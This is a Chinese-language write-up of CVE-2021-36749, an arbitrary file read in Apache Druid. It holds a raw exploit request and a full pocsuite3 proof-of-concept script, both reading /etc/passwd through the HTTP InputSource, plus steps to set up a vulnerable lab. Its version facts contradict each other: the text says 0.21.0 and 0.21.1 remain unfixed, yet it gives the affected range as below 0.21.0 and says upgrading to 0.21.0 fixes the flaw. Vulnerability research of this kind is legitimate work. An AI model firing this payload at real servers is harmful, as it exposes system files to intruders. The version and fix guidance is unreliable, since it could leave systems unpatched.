Apache Druid LoadData 任意文件读取 漏洞 CVE-2021-36749

0x01 漏洞简介

在 Druid 系统中,InputSource 用于从某个数据源读取数据。但是,HTTP InputSource 允许经过身份验证的用户以 Druid 服务器进程的权限从其他来源读取数据,例如本地文件系统。

这不是用户直接访问 Druid 时的权限提升,因为 Druid 还提供了 Local InputSource,它允许相同级别的访问。但是当用户通过允许用户指定 HTTP InputSource 而不是 Local InputSource 的应用程序间接与 Druid 交互时,这是有问题的。

在这种情况下,用户可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。这个问题之前提到过,根据 CVE-2021-26920 在 0.21.0 中已修复,但在 0.21.0 或 0.21.1 中未修复。

0x02 影响范围

影响范围 : Apache Druid < 0.21.0

0x03 漏洞复现

Apache Druid LoadData 任意文件读取 漏洞 CVE-2021-36749_第1张图片

URLS写入payload

file:///etc/passwd

Apache Druid LoadData 任意文件读取 漏洞 CVE-2021-36749_第2张图片

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 423
Origin: http://127.0.0.1:8888
Connection: close
Referer: http://127.0.0.1:8888/unified-console.html

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

pocsuite3

from collections import OrderedDict
from urllib.parse import urljoin
import re,os
from requests_toolbelt import MultipartEncoder
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class TestPOC(POCBase):
    vulID = '0'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1'  #默认为1
    author = ['yo1o']  #  PoC作者的大名
    vulDate = '2022-09-06'  #漏洞公开的时间,不知道就写今天
    createDate = '2022-09-06'  # 编写 PoC 的日期
    updateDate = '2022-09-06'  # PoC 更新的时间,默认和编写时间一样
    references = ['']  # 漏洞地址来源,0day不用写
    name = 'Apache Druid 文件读取漏洞 (CVE-2021-36749)'  # PoC 名称
    appPowerLink = ''  # 漏洞厂商主页地址
    appName = 'Apache Druid 文件读取漏洞 (CVE-2021-36749)'  # 漏洞应用名称
    appVersion = '''ALL'''  # 漏洞影响版本
    vulType = VUL_TYPE.ARBITRARY_FILE_READ  #漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
        Apache Druid 文件读取漏洞 (CVE-2021-36749)Apache Apache Druid <= 0.21.1  
    '''
    samples = ['']  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = ['']  # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def _verify(self):
        result = {}
        path = "/druid/indexer/v1/sampler?for=connect"
        url = self.url + path
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
            "Content-Type": 'application/json;charset=UTF-8'
            }
        data={"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
        try:
            resq = requests.post(url=url,headers=headers,json=data)
            if  resq.status_code==200 and re.search('root:[x*]?:0:0:', resq.text).group() in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['body'] = resq.text
        except Exception as e:
            return
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(TestPOC)

本地验证

下载:https://github.com/apache/druid/archive/druid-0.20.0.zip

unzip解压后,进入druid-druid-0.20.0/distribution/docker目录,进行安装

cd druid-druid-0.20.0/distribution/docker

docker-compose up -d

Apache Druid LoadData 任意文件读取 漏洞 CVE-2021-36749_第3张图片

0x04 修复

升级到0.21.0或更高版本

你可能感兴趣的:(安全,web安全,服务器)